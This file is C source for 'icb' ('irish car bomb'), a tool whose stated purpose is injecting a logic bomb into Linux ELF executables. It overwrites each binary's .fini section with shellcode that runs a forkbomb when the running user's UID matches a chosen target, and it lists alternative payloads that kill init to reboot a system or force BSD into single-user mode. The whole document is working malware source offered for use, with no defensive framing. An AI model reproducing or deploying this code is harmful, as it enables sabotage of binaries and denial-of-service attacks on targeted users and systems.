/* icb.c
	[i]rish [c]ar [b]omb

   WWW.EXCLUDED.ORG
   	written by l0om

	place logical bombs in elf files

	**********************************
	a logical bomb is destructive program code that gets executed if some
	trigger is true. icb was written to inject a small logical bomb in elf
	files without resize sections of the file itself. its for linux systems
	cause for normal they still suffer from DoS with simple forkbombs.

	icb will put a logical bomb in the .fini section and after the program is
	executed the current UID of the user is checked for the value you have set
	for the trigger. if the conidtion is true the forkbomb is executed.
	there are alternatives commented out a bit lower in this source.

	the program returns 0 on a placed bomb and 1 for a failure.

	badass@linux:~/testlab> ./icb
	[i]rish [c]ar [b]omb    [version 0.1]
	WWW.EXCLUDED.ORG         written by l0om

	help menu
        ./icb <destfile> <options>
        -v: verbose output
        -u: targets UID for the trigger
        -n: username on the system to blow away
        -h: help
	**********************************
	greets to www.excluded.org and detach for beeing a nice guy and answering
		all my stupid questions all the time - thx dude  :)

*/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pwd.h>
#include <elf.h>

#define SECTION 	".fini" //inject code in this section
#define VERSION 	"0.2"   // no comment
#define DEFTARGET	500     // default target is uid 500

char bomb[] = "\xb0\x18\xcd\x80\x3d"
	      "\xf1\x01"  // cmp $0x1f4 ,%eax -> if uid == X then boom
              "\x00\x00\x75\x09"
              "\xb8\x02\x00\x00\x00\xcd\x80\xeb\xf7";  //forkbomb

/**********[] alternative stuff

if user is root then do kill(1,KILL)	this one will reboot most unix systems.
   char bomb[] = "\xb8\x25\x00\x00\x00\xb3\x01\xb1\x09\xcd\x80"

if user is root then do kill(1,TERM)	this one will switch BSD into single user modus
   char bomb[] = "\xb8\x25\x00\x00\x00\xb3\x01\xb1\x0f\xcd\x80"

*/

void header(void);
void help(char *);
int clearsec(int, int, int);
int placebomb(int, int);
int gettargetuid(char *);

int main(int argc, char **argv)
{
	int fd, i, verbose = 0, target = DEFTARGET;
	Elf32_Ehdr hdr;           //elf header
	Elf32_Shdr shdr, strtab;  //section header
	char buf[20];
	off_t soff, strsecoff;

	if(argc > 1) {
		for(i = 1; i < argc; i++)
			if(argv[i][0] == '-')
				switch(argv[i][1]) {
				case 'v':
					verbose = 1;
					break;
				case 'n':
					if((target = gettargetuid(argv[++i])) == -1) {
						printf("unkown user %s\n",argv[i]);
						return 1;
					}
					break;
				case 'u':
					target = atoi(argv[++i]);
					break;
				case 'h':
					help(argv[1]);
				default:
					printf(">>%s<< unknown option\n",argv[i]);
					return(1);
				}
			else if( (fd = open(argv[i], O_RDWR)) == -1) {
				perror("open");
				return(1);
			}
		}
	else help(argv[0]);

	if(verbose) {
		header();
		printf("\t-----#] placing irish car bomb for user with uid of %d\n",target);
	}

		//place target uid in the bomb for the trigger
	*(long *)buf = (long)target;
	bomb[5] = buf[0];
	bomb[6] = buf[1];
		//done

	read(fd, &hdr, sizeof(hdr));
	soff = hdr.e_shoff + hdr.e_shstrndx * hdr.e_shentsize;
	if(lseek(fd, soff, SEEK_SET) == -1) {
		perror("lseek");
		return 1;
	}
	read(fd, &strtab, sizeof(strtab)); //read string secteion
	strsecoff = strtab.sh_offset;      // give me string section offset

	if(verbose) printf("\t-----#] searching for %s\n",SECTION);
	for(i = 0; i < hdr.e_shnum; i++) {
		lseek(fd, hdr.e_shoff + (i * hdr.e_shentsize), SEEK_SET);
		if(read(fd, &shdr, sizeof(shdr)) == -1) {
			perror("read");
			return(1);
		}
		lseek(fd, shdr.sh_name + strsecoff, SEEK_SET);
		read(fd, buf, 20);

		if(memcmp(buf, SECTION, strlen(SECTION)) == 0) {  // section found
			if(verbose) {
				printf("\t-----+] found at offset of 0x%.08x\n",shdr.sh_offset);
				printf("\t-----#] placing bomb...\n");
			}
			if(!clearsec(fd,shdr.sh_offset,shdr.sh_size))
				return 1;
			if(shdr.sh_size-8 > sizeof(bomb))
				return 1;
			if(!placebomb(fd,shdr.sh_offset))
				return 1;
		}
	}
    if(verbose) printf("\t-----!] bomb placed in %s for UID %d\n",SECTION,target);
    return(0);
}

int clearsec(int fd, int offset, int nbytes)
{
	int i=0;
	char buf[1];

	buf[0] = 0x90;  //clear section out with NOP
	offset += 3;    //save the frame instructions:  push  %ebp -> mov    %esp,%ebp
	nbytes -= 5;    //save leave + ret
	if(lseek(fd,offset,SEEK_SET) == -1)
		return 0;
	while(nbytes-- > 0)
		if(write(fd,buf,1) == -1)
			return 0;
		else i++;
	return i;
}

int placebomb(int fd, int offset)
{
	int i, nlen;
	char buf[1];

	i = 0;
	offset += 3;	//save the frame instructions:  push  %ebp -> mov    %esp,%ebp
	nlen = sizeof(bomb);
	if(lseek(fd,offset,SEEK_SET) == -1)
		return 1;
	while(i < nlen-1) {
		buf[0] = bomb[i];
		if(write(fd,buf,1) == -1)
			return 0;
		else i++;
	}
	return i;
}

int gettargetuid(char *username)
{
	struct passwd *pwd;
	if( (pwd = getpwnam(username)) == NULL)
		return -1;
	else return(pwd->pw_uid);
}

void help(char *usage)
{
	header();
	printf("WWW.EXCLUDED.ORG \t written by l0om\n");
	printf("\nhelp menu\n");
	printf("\t%s <destfile> <options>\n",usage);
	printf("\t-v: verbose output\n");
        printf("\t-u: targets UID for the trigger\n");
        printf("\t-n: username on the system to blow away\n");
	printf("\t-h: help\n");
	exit(0);
}

void header()
{
	printf("[i]rish [c]ar [b]omb\t[version %s]\n",VERSION);
}
